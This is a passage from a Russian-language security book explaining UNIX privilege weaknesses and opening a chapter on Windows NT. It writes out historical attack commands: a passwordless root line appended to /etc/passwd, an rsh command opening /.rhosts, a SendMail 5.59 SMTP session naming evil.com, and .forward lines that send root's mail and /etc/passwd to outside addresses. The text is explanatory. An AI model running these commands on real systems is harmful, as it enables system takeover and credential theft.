Кажется, никакая атака невозможна, но это по-прежнему не так [104]. Дело в том, что UNIX разрабатывалась в тот период, когда никакой теории безопасности не существовало, а появления взломщиков никто не мог и представить. В результате, гарантировано обеспечить защищенность существующих клонов UNIX невозможно. Причина заключается в механизме разделения привилегий процессов. Подробное объяснение заняло бы слишком много места, но основную идею можно выразить в двух словах - программа, запускаемая пользователем, может иметь больше прав, чем он сам. К одной из таких программ принадлежит утилита смены пароля, обладающая правом записи в файл “passwd” или “shadow”. В качестве другого примера, можно привести login, имеющий доступ к защищенному файлу “shadow”.

С первого взгляда в этом нет ничего дурного, и все работает успешно до тех пор… пока успешно работает. Если же в программе обнаружится ошибка, позволяющая выполнять незапланированные действия, последствия могут быть самыми удручающими. Например, поддержка перенаправления ввода-вывода или конвейера часто позволяют получить любой файл, какой заблагорассудиться злоумышленнику. Но если от спецсимволов (“«|»”) легко избавиться тривиальным фильтром, то ошибкам переполнения буфера подвержены практически все приложения. Подробнее об этом рассказано в главе «Технология срыва стека», пока же достаточно запомнить два момента - переполнение буфера позволяет выполнить злоумышленнику любой [105] код от имени запушенного приложения и эти ошибки настолько коварны, что не всегда оказываются обнаруженными и после тщательного анализа исходного текста программы.

Такой поворот событий целиком меняет дело - вместо утомительного перебора пароля, без всяких гарантий на успех, достаточно проанализировать исходные тексты привилегированных программ, многие из которых состоят из сотен тысяч строк кода и практически всегда содержат ошибки, не замеченные разработчиками. А в некоторых системах срыву стека подвержен и запрос пароля на вход в систему! Впрочем, такой случай из ряда клинических и не отражает общего положения дел. Однако это ничего не меняет - для атаки вовсе не обязательно регистрироваться в системе, достаточно связаться с любой программой-демоном, исполняющейся с наивысшими привилегиями и обслуживающей псведопользователей.

Врезка «информация»

"Многие люди отождествляют слово "daemon" со словом "demon", подразумевая тем самым некий вид сатанинской общности между ОС UNIX и преисподней. Это вопиющее непонимание. "Daemon" (далее дух - прим. переводчика) на самом деле значительно более древняя форма, чем "demon". Это слово обозначает существ, которые не имеют какой-то конкретной склонности к добру или злу, но предназначены служить определенному типу личности или индивидуальности. Древние греки имели понятие персонального духа, которое соответствовало более современному понятию - ангел-хранитель. Параллельно с этим существовало понятие эвдемонизма, как состояние помощи или защиты со стороны доброго духа. Как правило, UNIX системы частенько кишат и духами и демонами (что, в общем, ни в чем не отличает эти системы от нашего мира - прим. переводчика)."

Эви Немет (Evi Nemeth), "Руководство системного администратора UNIX" (Unix System Administration Handbook)

Псевдопользователь находится в самом низу иерархии пользователей, выглядящей следующим образом: во главе всех в UNIX стоит root - то есть суперпользователь, обладающий неограниченными правами в системе. Суперпользователь создает и управляет полномочиями всех остальных, обычных, пользователей. С некоторых пор в UNIX появилась поддержка так называемых специальных пользователей. Специальные пользователи это процессы с урезанными привилегиями. К их числу принадлежит, например, анонимный пользователь ftp, так и называемый anonymous. Строго говоря, никаких особенных отличий между обычными и специальными пользователями нет, но последние обычно имеют номера пользователя и группы (UID и GID соответственно) меньше 100.

Псевдопользователи принадлежат к иной категории, и операционная система даже не подозревает об их существовании. Когда удаленный клиент подключается к WEB-серверу, с точки зрения WEB-сервера он становится пользователем, получающим привилегии, выданные ему сервером. Но операционная система ничего не знает о происходящем. С точки зрения операционной системы, пользователя, подключившегося к приложению-серверу, не существует и его полномочиями управляет исключительно сам сервер. Во избежание путаницы таких пользователей стали называть псевдопользователями.

Обычно псевдопользователи имеют минимальный уровень привилегий, ограниченный взаимодействием с сервером. Ни выполнять команды UNIX (не путать с командами сервера) ни получить доступ к файлу “/etc/passwd” они не в состоянии [106]. Более того, файлы и директории, видимые по FTP и WEB - виртуальные, не имеющие ни чего общего с действительным положением дел. Кажется, псевдопользователи ни чем не угрожают безопасности системы, но на самом деле, это не так.

Поскольку, права псвевдопользователям назначает процесс-сервер, то потенциально псевдопользователи могут наследовать все его привилегии. Даже если программист не предусматривал этого явно, он мог допустить ошибку, позволяющую выполнять любые действия от имени программы. Большинство серверов в UNIX запускаются с правами root и имеют полный доступ ко всем ресурсам системы. Поэтому, псевдопользователь действительно может получить несанкционированный доступ к системе.

Напрашивающийся сам собой выход - запускать серверные приложения с минимальными полномочиями - невозможен, в силу особенностей архитектуры UNIX. Частично ограничить привилегии, разумеется, можно, но грамотная настойка требует определенной квалификации, зачастую отсутствующей у администратора системы. Точно так, невозможно исключить все ошибки в программах. В языке Си отсутствует встроенная поддержка строковых типов и автоматическая проверка «висячих» указателей, выход за границу массивов и так далее. Поэтому, написание устойчиво работающих приложений, состоящих из сотен тысяч строк кода, на нем невероятно затруднено. Иначе устроен, скажем, язык Ада, берущий на себя строгий контроль над программистом. Впрочем, даже он не гарантирует отсутствие ошибок. А ведь это наиболее защищенный на сегодняшний день язык, широко использующийся в программировании космической техники. Проколы в работе программиста неизбежны и любая система потенциально уязвима, пока не доказано обратное.

И тут всплывает знаменитый парадокс брадобрея, звучащий так - «если брадобрей бреет бороды тем, и только тем, кто не бреется сам, может ли он брить бороду сам себя»? Конечно же, нет, ведь он бреет только тех, кто не бреется сам. Но если он не бреется сам, что мешает ему побриться? Словом, получается бесконечный рекурсивный спуск.

Применительно к защите - о защищенности системы ничего нельзя сказать до тех пор, пока кому-либо ее не удастся взломать. И в самом деле, - вдруг дыра есть, но до сих пор никто не успел обратить на нее внимание? Уязвимость системы определяется наличием дыры. А защищенность? Интуитивно понятно, защищенность прямо противоположна уязвимости. Но сделать такой вывод можно только после обнаружения признака уязвимости! То есть - существует формальный признак уязвимости системы, но не существует признака ее защищенности. В этом-то и заключается парадокс!

Врезка «история»

"Нельзя доверять программам, написанным не вами самими. Никакой объем верификации исходного текста и исследований не защитит вас от использования ненадежного (untrusted) кода. По мере того как уровень языка, на котором написана программа, снижается, находить эти ошибки становится все труднее и труднее. "Хорошо продуманную" (well installed) ошибку в микрокоде найти почти невозможно [107]” - произнес Кен Томпсон в своем докладе, зачитанным им в 1983 году на ежегодном съезде Американской ассоциации компьютерной техники.

Доклад был посвящен вопросам внесения тонких ошибок в код компилятора и заслужил премии Тьюринга, навсегда войдя в кремневую историю одним из самых талантливых взломов всех времен и народов.

Доступность исходных текстов операционной системы UNIX и большинства приложений, созданных для нее, привела к тому, что «разборы полетов», как правило, начинались и заканчивались анализом исходных текстов, но не откомпилированных машинных кодов (правда, вирус Морриса все же потребовал трудоемкого дизассемблирования, но это уже другая история). Компилятор же считался бесстрастным, безошибочным, непротиворечивым творением.

И вот Томпсона озарила блестящая идея, - научить компилятор распознавать исходный текст стандартной программы login, и всякий раз при компиляции добавлять в нее специальный код, способный при вводе секретного пароля (известный одному Томпсону) пропускать его в систему, предоставив привилегированный доступ.

Обнаружить подобную лазейку чрезвычайно трудно (да кому вообще придет в голову дизассемблировать машинный код, если есть исходные тексты?), но все же возможно. Внеся исправления в исходный текст компилятора, приходится компилировать его тем же самим компилятором…

А почему бы, подумал Томпсон, не научить компилятор распознавать себя самого и во второе поколение вносить новые изменения? Если нет заведомо «чистого» компилятора ситуация становиться безвыходной! (ну не латать же программу в машинном коде!).

Понятное дело, к удаленному вторжению такая атака никакого отношения не имеет (для внесения закладок в программное обеспечение нужно, по крайней мере, быть архитектором системы). Но все же квалифицированный злоумышленник способен создать приложение, имеющее все шансы стать популярным и расползтись по сотням и тысячам компьютеров. Поэтому, угроза атаки становится вполне осязаемой и реальной.

На каком же основании выдаются сертификаты, определяются защищенные системы? Забавно, но ни на каком. Выдача сертификата - сугубо формальная процедура, сводящаяся к сопоставлению требований, предъявленных к системе данного класса с заверениями разработчиков. То есть - никакой проверки в действительности не проводится (да и кто бы стал ее проводить?). Изучается документация производителя и на ее основе делается вывод о принадлежности системы к тому или иному классу защиты. Конечно, это очень упрощенная схема, но, тем не менее, никак не меняющая суть - сертификат сам по себе еще не гарантирует отсутствие ошибок реализации, и ничем, кроме предмета гордости компании, служить не может. Практика показывает, - многие свободно распространяемые клоны UNIX обгоняют своих сертифицированных собратьев в защищенности и надежности работы.

Другая уязвимость заключается в наличие так называемых доверенных хостов, то есть узлов, не требующих аутентификации. Это идет вразрез со всеми требованиями безопасности, но очень удобно. Кажется, если «по уму» выбирать себе «товарищей» ничего плохого случиться не может, конечно, при условии, что поведение всех товарищей окажется корректным. На самом же деле сервер всегда должен иметь способ, позволяющий убедится, что клиент именно тот, за кого себя выдает. Злоумышленник может изменить обратный адрес в заголовке IP пакета, маскируясь под доверенный узел. Конечно, все ответы уйдут на этот самый доверенный узел мимо злоумышленника, но атакующего может и вовсе не интересовать ответ сервера - достаточно передать команду типа «echo "kpnc::0:0:Hacker 2000:/:"» /etc/passwd» [108] и систему можно считать взломанной.

Наконец, можно попробовать проникнуть в доверенные хосты или к доверенным доверенных… чем длиннее окажется эта цепочка, тем больше шансов проникнуть в систему. Иногда приходится слышать, якобы каждый человек на земле знаком с любым другим человеком через знакомых своих знакомых. Конечно, это шутка (Вы знакомы с Билом Гейтсом?), но применительно к компьютерным системам… почему бы и нет?

Обычно список доверительных узлов содержится в файле “/etc/hosts.equiv” или “/.rhosts”, который состоит из записей следующего вида “[имя пользователя] узел”. Имя пользователя может отсутствовать, - тогда доступ разрешен всем пользователям с указанного узла. Точно такого результата можно добиться, задав вместо имени специальный символ “+”. Если же его указать в качестве узла - доступ в систему будет открыт отовсюду.

Небезызвестный Кевин Митник в своей атаке против Цутому Шимомуры, прикинувшись доверительным узлом, послал удаленной машине следующую команду “rsh echo + +»/.rhosts”, открыв тем самым доступ в систему. Любопытно, но схема атаки была не нова - задолго до Митника, Моррис - старший предсказал ее возможность, поместив подробный технический отчет в февральский номер журнала Bell Labs, выпушенный в 1985 году (Митник же атаковал Шимомору в декабре 1994 - практически на десятилетие позже). Доподлинно не известно знал ли он о существовании статьи Морриса или до всего додумался самостоятельно, приоритет остается все равно не за ним.

Другая классическая атака основана на дырке в программе SendMail версии 5.59. Суть ее заключалась в возможности указать в качестве получателя сообщения имя файла “.rhosts”. В приведенном ниже протоколе, читателю, возможно, встретятся незнакомые команды (детально описанные в главе «Протоком SMTP»), но подробные комментарии должны помочь разобраться в механизме атаки даже неподготовленным пользователям.

· # Соединяется с узлом - жертвой [109] по протоколу SMTP с 25 портом

· telnet victim.com 25
·
· #Указываем в качестве адреса получателя сообщения имя файла “/.rhosts”
· rcpt to: /.rhosts
·
· #Указываем адрес отправителя сообщения
· mail from: kpnc@aport.ru
·
· #Начинам ввод текста сообщения
· data
·
· #Вводим любой текст (он будет проигнорирован)
· Hello!
·
· #Точка завершает ввод сообщения
·.
·
· #Новое сообщение
· #Указываем в качестве адреса получателя имя файл “/.rhosts”
· rcpt to: /.rhosts
·
· #Указываем адрес отправителя сообщения
· mail from: kpnc@aport.ru
·
· #Начинам ввод текста сообщения
· data
·
· #Вводим имя собственного хоста или любого другого хоста, к которому есть доступ
· evil.com
·
· #Точка завершает ввод сообщения
·.
·
· #Завершение транзакции и выход
· quit

С этого момента взлом можно считать завершенным. Остается подключится к удаленному узлу и делать на нем все, что заблагорассудиться. Все, за исключением, невозможности посредством протокола rlogin войти под статусом супер-пользовтаеля.

Однако подобные атаки слишком заметны и вряд ли останутся безнаказанными. В UNIX, как и в большинстве других сетевых операционных систем, все потенциально опасные действия (будь то копирование файла паролей или создание нового пользователя) протоколируется, а замести за собой следы не всегда возможно - изменения в файлах протокола могут незамедлительно отсылаться на почтовый ящик администратора, или даже на пейджер [110]!

Тем более, “/.rhosts” это не тот файл, в который никто и никогда не заглядывает. В том же случае с Митником - модификация “/.rhosts” не осталось незамеченной. Гораздо халатнее большинство администраторов относятся к вопросам безопасности личной почты. А ведь злоумышленнику ничего не стоит так изменить файл “/.forward”, перехватывая чужую личную почту, в том числе и root-а. Конечно, наивно ожидать увидеть в почте пароли, но, тем не менее, полученная информация в любом случае значительно облегчит дальнейшее проникновение в систему, и даст простор возможностей для социальной инженерии. Подробнее об конфигурировании SendMail можно прочесть в прилагаемом к нему руководстве и в главе «Почтовый сервер изнутри».

Ниже приведен пример записи, которую необходимо добавить в файл “/.forward” для перехвата почты администратора (при условии, что его почтовый адрес выглядит как root@somehost.org). Теперь все письма, поступающие администратору системы, будут дублироваться на адрес kpnc@hotmail.ru

· \root, root@somehost.org, kpnc@hotmail.ru

Точно такую операцию можно проделать и со всеми остальными пользователями системы. Для этого достаточно изменить файлы “.forward”, находящиеся в их домашних каталогах, а, поэтому, обычно не контролируемые администратором. Опытные пользователи могут самостоятельно редактировать свои конфигурационные файлы. Поэтому, за всеми уследить невозможно, - откуда администратору знать, кто внес эти изменения - легальный пользователь или злоумышленник? Конечно, в приведенном выше примере все довольно прозрачно, но если не трогать файлы администратора, велики шансы того, что проникновение в систему станет замеченным не скоро, если вообще будет замечено.

Кстати, если есть доступ к файлу “.forward”, то, добавив в него строку типа “|/bin/mail/ hack2000@hotmail.com «/etc/passwd”, можно попробовать получить требуемый файл с доставкой на дом. (В приведенном примере содержимое файла /etc/passwd будет оправлено по адресу hack2000@hotmail.com). Как нетрудно догадаться, здесь замешен конвейер и перенаправления ввода-вывода, подробно описанные в главе «Устройство конвейера и перенаправление ввода-вывода».

Конечно, главное условие успешности такой атаки - наличие дыр в каком-либо приложении, выполняющемся на удаленной машине. Сегодня все очевидные дыры уже залатаны, и слишком уж наивных ляпов от разработчиков ожидать не приходится. Тем не менее, те или иные ошибки выявляются чуть ли не ежедневно. Чтобы удостоверится в этом, достаточно заглянуть на любой сайт, посвященный информационной безопасности (например, www.rootshell.com). Разумеется, открытые дыры существует недолго, - на сайте разработчиков периодически появляются исправления, а новые версии выходят уже с исправленными ошибками.

Вся надежда злоумышленника на халатность администратора, не позаботившегося установить свежие заплатки. Но на удивление таковых оказывается много, если не большинство. И огромное число успешных взломов - лишнее тому подтверждение. Шансы взломщика необыкновенно возрастают, если он обладает квалификацией достаточной для самостоятельного поиска дыр в системе. Подробнее об этом рассказано в главе «Технология срыва стека».

Итак, архитектура ядра UNIX позволяет некорректно работающим приложениям предоставить злоумышленнику привилегированный доступ в систему, поэтому потенциально любая UNIX - уязвима. Учитывая сложность современных программ и качество тестирования программного кода ошибки просто неизбежны. Для сравнения, программное обеспечение, используемое в космической технике, содержит менее одной ошибки на 10 тысяч строк кода. Типовая конфигурация сервера, работающего под управлением UNIX, может состоять более чем из миллиона строк исходного кода. Таким образом, в сложных приложениях, ошибки всегда гарантировано есть. Не факт, что хотя бы одна из них может привести к получению несанкционированного доступа, но очень, очень часто так именно и происходит.

А если еще вспомнить недостаточно качественную реализацию базовых протоколов TCP/IP (в той же 4 BSD UNIX), можно вообще удивиться, как UNIX после всего этого ухитряется работать. Спектр возможных целей атаки очень широк и не может быть полностью рассмотрен в рамках одной книги.

– Гуси спасли Рим, но никто не задумывается о их дальнейшей судьбе. А ведь гуси попали в суп. В спасенном же Риме. Так что на их судьбе факт спасения Рима никак не отразился. Представляете, что говорили их потомки: наш дедушка спас Рим, а потом его съели.".

Кир Булычев “Тринадцать лет пути”

Безопасность UNIX

O В этой главе:

O Механизм разделения привилегий

O Реализация и защита процессов

O Режимы выполнения процессов

O Механизмы вызова системных функций

O Средства межпроцессорного взаимодействия

O Пакет IPC (Interposes Communication)

O Ошибки реализации механизма разделяемой памяти

O Механизмы отладки приложений

O Идентификаторы процессов

"Прибор, защищаемый быстродействующим плавким предохранителем, сумеет защитить этот предохранитель, перегорев первым."

Пятый закон Мэрфи

На протяжении большинства своей истории Unix был исследовательской повозкой для университетских и промышленных исследователей. С взрывом дешевых рабочий станций Unix вступил в новую эру, эру распространяемой платформы. Это изменение легко датировать: это случилось, когда поставщики рабочих станций выделили свои компиляторы языка C из своего стандартного комплекта программного обеспечения для того, чтобы понизить цены для не разработчиков. Точная запись границ этого изменения слегка неясна, но в основном это произошло в 1990.

«Unix-haters handbook» Simson Garfinkel

В одно-пользовательских, однозадачных системах (наподобие MS-DOS) понятие «безопасность» обычно отсутствует в силу полной бессмысленности самой постановки вопроса. Одна машина, - один процесс и один супр-пользователь.

Другое дело многозадачные, многопользовательские системы. В той же UNIX на одной машине приходится исполнять задачи различных пользователей. Поэтому, потенциально возможно несанкционированное вмешательство одного пользователя в дела другого. Ведь все задачи выполняются одним процессором (даже в многопроцессорных системах невозможно закрепить персональной процессор за каждой задачей) и разделяют одну и ту же физическую память. Если не предпринять определенных мер, любой пользователь сможет произвольным образом вклиниваться в задачи другого со всеми вытекающими отсюда последствиями.

Ни у кого не вызывает удивления способность некорректно работающей программы, исполняющейся с наивысшими привилегиями, пустить злоумышленника в систему. Но возможно ли пользовательскому приложению захватить контроль над системой? Можно ли получить доступ к остальным пользовательским процессам? Вопросы не так глупы, как кажется.

Невозможно написать защищенную операционную систему без соответствующей аппаратной поддержки со стороны процессора. Иначе, очередная выполняемая инструкция может нейтрализовать или блокировать программный защитный механизм. Первые версии UNIX исполняли все задачи в одном адресном пространстве, и одна из них могла «дотянуться» до другой и произвольным образом вмешаться в ее работу. Современные микропроцессоры спроектированы с учетами требований безопасности и поддерживают логические адресные пространства, обеспечивают защиту отдельных регионов памяти и имеют, так называемые, «кольца защиты». С каждым кольцом связан набор инструкций определенных привилегий, подобранных таким образом, чтобы код, исполняющийся в менее привилегированном кольце, не мог повлиять на более привилегированное. Поэтому, в правильно спроектированной операционной системе при условии отсутствия ошибок реализации, пользовательский код не может получить привилегированного доступа.

На самом деле, это очень упрошенная схема. Если бы менее привилегированный код не мог вызывать более привилегированный, то никакое бы пользовательское приложение не могло бы обращаться к операционной системе, исполняющейся в кольце с наивысшими привилегиями. Значит, должен существовать механизм вызова привилегированного кода из непривилегированного кольца.

А это автоматически разрушает всю стройную пирамиду безопасности. Если пользовательский код сможет передать управление на требуемые ему команды (или подпрограммы) привилегированного кода, то все кольца защиты слетят к черту. Так ли на самом деле надежна UNIX или это только кажется?

Минимальной единицей исполнения в UNIX является процесс. Процесс (в простейшем определении) это последовательность операций выполнения программы. Но кроме машинных инструкций еще существуют данные и стек, причем каждый процесс выполняется в собственном адресном пространстве. Поэтому, технически более правильно говорить о процессе, как экземпляре выполняемой программы.

Каждый процесс в UNIX обладает собственным адресным пространством, набором регистров процессора и стеком, - все они определяют состояние процессора, иначе называемое контекстом. В адресном пространстве расположены: сегмент [111] исполняемого кода (в терминологии UNIX называемый «текстом» - text), сегмент данных (BSS - сокращение, позаимствованное из ассемблера для компьютера IBM 7090, расшифровывающиеся как "block started by symbol" - блок, начинающийся с символа) и сегмента стека (STACK). Сегменты “text” и “BSS” соответствуют одноименным секциям исполняемого файла, а сегмент стека формируется операционной системой автоматически, при создании процесса.

Врезка «замечание»

Названия секций “text” и “BBS” благополучно перекочевали в среду Windows. Убедиться в этом можно, запустив утилиту dumpbin (входит в SDK, поставляемый с любым Windows-компилятором), например, таким образом:

· dumpbin /SUMMARY C:\WINDOWS\SYSTEM\Netbios.dll
·
· Microsoft (R) COFF Binary File Dumper Version 6.00.8168
· Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
·
· Dump of file NETBIOS.DLL
·
· File Type: DLL
·
· Summary
·
· 1000 bss
· 1000 data
· 1000 edata
· 1000 idata
· 1000 rdata
· 1000 reloc
· 1000 text

Процессы UNIX могут исполняться в одном из двух режимов - режиме задачи и режиме ядра. Для обеспечения безопасности каждым из режимов используется свой собственный стек. Возникает вопрос, - каким образом системная функция получает аргументы, если они остаются в стеке задачи?

Понять это можно, разобравшись в механизме переключения из режима задачи в режим ядра. В UNIX для перехода в привилегированный режим используются прерывания. Инструкция, вызывающая прерывание, автоматически переводит процессор в привилегированный режим и передает управление подпрограмме обработки прерывания. Существует специальная таблица прерываний (доступная только ядру операционной системы) в которой индекс каждой ячейки численно равен номеру прерывания и содержит адрес, на который будет передано управление в случае возникновения данного прерывания. Более подробно о прерываниях можно прочитать в любой толковой книге по ассемблеру и технической документации процессора.

Врезка «замечание»

В операционной системе LINUX для вызова системных функций используется прерывание 0x80, а в операционных системах, совместимых с System V для той же цели необходимо передать управление по фиксированному адресу 0007:00000000 (сегмент семь, смещение ноль). Номер вызываемой функции и передаваемые ей аргументы задаются в регистрах (в LIUX) или заталкиваются в стек (в системах, совместимых с System V).

Таким образом, использование прерываний (или фиксированного адреса) позволяет пользовательской задаче передать управление только на предусмотренные ядром подпрограммы, а не произвольный адрес памяти. Однако стек ядра прикладному коду не доступен, и передать аргументы функции обычным путем невозможно. Тем не менее, ядру доступно пространство памяти всех задач и оно в состоянии «вытащить» требуемые параметры самостоятельно. Конкретная реализация зависит от выбранной аппаратной платформы и поэтому не будет рассмотрена. Достаточно понять - прикладные программы не могут пагубно воздействовать на ядро (конечно при отсутствии в нем ошибок реализации).

В операционных системах наподобие MS-DOS (и первых версиях UNIX) существовала возможность обращаться с оборудованием в обход операционной системы, манипулируя непосредственно с портами ввода-вывода [112]. Современные процессоры при попытке пользовательского кода обратиться к порту, генерируют исключение, передавая управление операционной системе, предоставляя ей возможность самой расправиться со злоумышленником. В результате, доступ может быть отвергнут, а приложение, нарушившие субординацию - закрыто, или же ядро может эмулировать чтение (запись) в порт, не выполняя ее на самом деле.

На бумаге броне UNIX позавидовал бы любой крейсер средних размеров, но в действительности все не так гладко [113]. Многие системы оказались взломаны «благодаря» умению UNIX в аварийных ситуациях сбрасывать дамп памяти (core dump - на жаргоне русскоязычных программистов звучащий кора) в общедоступный файл на диск. Достаточно часто в нем удается обнаружить пароли или другую информацию, облегчающую проникновение в систему. Приверженцы UNIX уверяют, - уязвимость устраняется правильным администрированием. Но сколько на свете существует неопытных администраторов? Справедливо оценивать защищенность системы с настройками по умолчанию. А по умолчанию, посредством дампа памяти, один процесс может получать доступ к адресному пространству другого процесса, по крайней мере, на чтение.

Врезка «замечание» *

У Кена Томпсона есть автомобиль, который он помогал сконструировать. В отличие от большинства автомобилей, у него нет ни спидометра, ни указателя бензина, никаких из тех многочисленных лампочек, которые отравляют жизнь современному водителю. Взамен, если водитель делает ошибку, гигантский вопросительный знак загорается в центре приборной доски. "Опытный водитель", говорит Томпсон, "обычно узнает, что не так".

Аноним

Впрочем, ситуация действительно исправляется правильным администрированием системы и скорее относится к разряду проблем социальных (где найти каждому компьютеру хорошего администратора?) и психологических (оставлю-ка я все настойки по умолчанию!), не представляя никакой технической проблемы.

Хуже обстоит дело с разделяемыми областями памяти и именованными каналами, - то есть средствами межпроцессорного взаимодействия. Ведь система, в которой не существует никаких механизмов обмена данными между процессами, - никому не нужна. А если UNIX поддерживает механизмы межпроцессорного взаимодействия, не приводит ли это к нарушению политики безопасности?

Успех UNIX в частности объяснялся наличием удобного и простого средства межпроцессорного взаимодействия - конвейера (позаимствованного из операционной системы DTSS - Dartmouth time-sharing System), подробно описанного в главе «Устройство конвейера и перенаправление ввода-вывода». Но таким способом могли общаться между собой лишь родственные процессы, и это сильно ограничивало возможные области применения (впрочем, существовали и так называемые, именованные каналы, доступные всем остальным процессам).

В UNIX System V появился пакет IPC (interposes communication), значительно расширяющий возможности межпроцессорного взаимодействия. Поддерживались: механизм передачи сообщений, разделяемая память и семафоры, необходимые для синхронизации процессоров. Все трое могли взаимодействовать с любыми, не обязательно родственными процессами, поэтому остро стал вопрос обеспечения безопасности.

Каждый совместно используемый объект (например, регион памяти) связан со структурой данных, описывающей права доступа и перечисляющей пользовательские и групповые коды идентификации. Права доступа в чем-то сходны с атрибутами файлов, - можно выборочно разрешать запись, чтение, назначаемые как отдельным пользователям, так и целым группам. При условии отсутствия ошибок реализации такая система выглядит внутренне не противоречивой и как будто бы надежа.

На самом деле программисты частенько беспечно относятся к установке атрибутов защиты и предоставляют доступ к разделяемой памяти (возможно содержащей приватные данные) любому процессу в системе. Атаки такого рода мало распространены и не представляют большого интереса для взломщиков, поскольку их возможности весе же очень ограничены.

В худшем положении оказываются разработчики ядра, вынужденные выполнять многочисленные и не всегда очевидные проверки. Например, область разделенной памяти, подключенная к адресному пространству одного из процессоров, может оказаться расположенной слишком близко к стеку. Если стек вырастет настолько, что пересечет границу разделяемой памяти, произойдет фатальная ошибка памяти, а на некоторых аппаратных платформах данные, заносимые в стек, игнорируют защиту от записи!

Приведенный выше пример скорее гипотетический (хотя и имеет место в реальной жизни), но он наглядно демонстрирует абсурдность попытки перенесения абстрактных теоретических выкладок в действующую модель. Всегда существует угроза проникновения в систему, насколько бы она защищенной не выглядела.

Взять, к примеру, процесс отладки [114] (debug) приложений. Наличие такого механизма многократно облегчает поиск ошибок в программе, но вместе с тем позволяет изучать и контролировать ее работу. Поэтому, необходимо должным образом позаботиться о безопасности, включив в код ядра множество проверок. Существующая в UNIX схема отладки достаточно защищена, но крайне неудобна для разработчиков, поэтому не так редко приходится слышать о преднамеренной модификации ядра и переписывании системной функции ptrace, заведующей отладкой.

Традиционно в UNIX отлаживать процесс можно только с его собственного согласия. Для этого он должен вызвать функцию ptrace, разрешая ядру трассировку. Но на самом деле это ограничение эфемерно - системный вызов exec в UNIX не создает новый процесс (как это происходит, например, в Windows), а замешает текущий. Последовательные вызовы ptrace и exec позволили бы получить доступ к адресному пространству любой задачи и произвольным образом вмешиваться в ее работу, если бы не дополнительные проверки…

В UNIX вообще запрещено отлаживать setuid-программы (бедные, бедные разработчики!), иначе было бы возможно запустить, скажем, ту же программу login и, нейтрализовав защитный механизм, войти в систему с привилегиями root. Но, ведь любой процесс может исполняться не только в режиме пользователя, но и ядра! Возможность же отладки ядра позволила бы с легкостью проникнуть в систему, поэтому оказалась «заботливо» блокирована создателями UNIX. Словом, разработчики ради достижения безопасности пошли вразрез с интересами программистов!

Точно так невозможно отлаживать уже запущенные процессы. Это вызывает большое недовольство разработчиков, вынужденных удалять процесс и перезапускать его вновь (в Windows, кстати, с этим справляется на раз).

Итак, ядро перед отладкой должно позаботиться о следующих проверках: подтвердить у отладчика наличие потомка с указанным идентификатором (pid), затем убедиться находится ли отлаживаемый процесс в состоянии трассировки, не является ли эта задача stupid-программой - и только после этого приступить к отладке.

Возникает вопрос, - что такое идентификатор процесса, где он хранится и можно его подделать? В начале этой главы уже отмечалось, - состояние процесса сохраняется в его контексте, расположенном в доступном для процесса адресном пространстве и посему не защищенным от модификации. Поэтому, критические к изменению атрибуты (например, привилегии) должны быть вынесены за пределы досягаемости процесса. В UNIX для этой цели используется ядро, в котором содержится структура, именуемая таблицей процессов. Каждая запись ассоциирована с одним процессом и среди прочей информации содержит «магическое» число, называемое идентификатором процесса. Магическое - потому что интерпретировать его не может никто, кроме ядра. Идентификатор в зависимости от реализации может представлять собой индекс записи или одно из ее полей - прикладные приложения не имеют об этом никакого представления. Все что они могут - запомнить возращенное функцией fork значение и передавать его остальным системным функциям в качестве аргумента, которое ядро интерпретирует самостоятельно.

При условии отсутствия ошибок реализации (ох, уж эти ошибки!) такая схема обеспечивает надежную защиту критической информации. Но нестабильное ядро (а много ли существует стабильных ядер?) потенциально способно позволить прикладным приложениям модифицировать системные структуры. Последствия - очевидны.

Точно так, процесс можно отлаживать и без его согласия - достаточно вспомнить о срыве стека. Это позволит от имени процесса выполнить ptrace, и… правда, если ошибки программы приводят к возможности срыва стека и выполнению любого кода, вряд ли это приложение кому-нибудь взбредет в голову отлаживать.

Таким образом, атаки на UNIX это не миф, а реальность. Конечно, большинство ошибок уже найдены и исправлены, но рост сложности кода неизбежно связан с внесением новых. А, значит, администраторы никогда не избавятся от головной боли. Впрочем, с ростом количества строк в исходных текстах обнаруживать ошибки становиться все сложнее и сложнее как злоумышленникам, так и самим разработчикам.

"Мусульмане и христиане хоронят своих мертвых в земле в гробах, чтобы их защитить. Это плохо, это просто глупость, потому что, если мы не можем защитить жизнь, так как же мы сможем защитить смерть? Мы не можем защитить ничего, ничего нельзя защитить.

Жизнь уязвима, а вы пытаетесь сделать неуязвимой даже смерть. Хотите сохранить, спасти."

Чжуан Цзы

Windows NT

O В этой главе:

O История возникновения и эволюции Windows

O Атака на Windows NT

O Атаки на Windows 95 (Windows 98)

Введение в Microsoft

Вы полюбите Microsoft. Со временем…

А.В. Коберниченко “Недокументированные возможности Windows NT”

Писать о компании Microsoft оказалась на удивление трудно. С одной стороны Microsoft - несомненный лидер компьютерной индустрии и культуры, программные продукты которого практически монополизировали рынок. С другой стороны, качество этих самых программных продуктов оставляет желать лучшего, а рост требований к системе вынуждает потребителей включаться в непрерывную гонку апгрейда - докупая все новые и новые мегабайты с мегагерцами. А компьютер… работает с той же скоростью, что и десять лет назад. Ну, разве не обидно?

Поговаривают о сговоре Intel и Microsoft - якобы последняя специально включает циклы задержки в свои продукты, насильно приобщая пользователей к миру быстрых процессоров. Возможно, читатель удивится, но Microsoft приложила титанические усилия в оптимизации кода Windows 95. В середине девяностых годов большинство персональных компьютеров оснащались всего четырьмя мегабайтами оперативной памяти, и руководство компании загнало разработчиков в жесткие рамки, провозгласив девиз «Четыре мегабайта или до свидания». Но при всем желании и таланте этой команды (а над Windows работали очень неглупые люди) втиснуть весь код в 4 мегабайта оказалось физически невозможно. Пришлось идти на многочисленные компромиссы и ухищрения. Если бы руководство было бы не пальцем делано и выделило команде хотя бы 8 мегабайт, Windows 95 оказалось бы совсем иной - намного более устойчивой и функциональной. Но нужно различать политику компании с талантом создателей программных продуктов.

А политикой компании удовлетворится и впрямь невозможно, - компьютер день ото дня становится все менее и менее удобен профессионалу, но зато боле дружелюбен некому гипотетическому «начинающему пользователю». Командная строка и текстовый режим стремительно отходят в прошлое, а графический интерфейс не обеспечивает и половины прежней производительности оператора, ругающего непослушную мышь - текстовую команду легко набрать на клавиатуре машинально, вслепую, - а вот попробуй, попади курсором в нужный пункт меню, не глядя на экран!

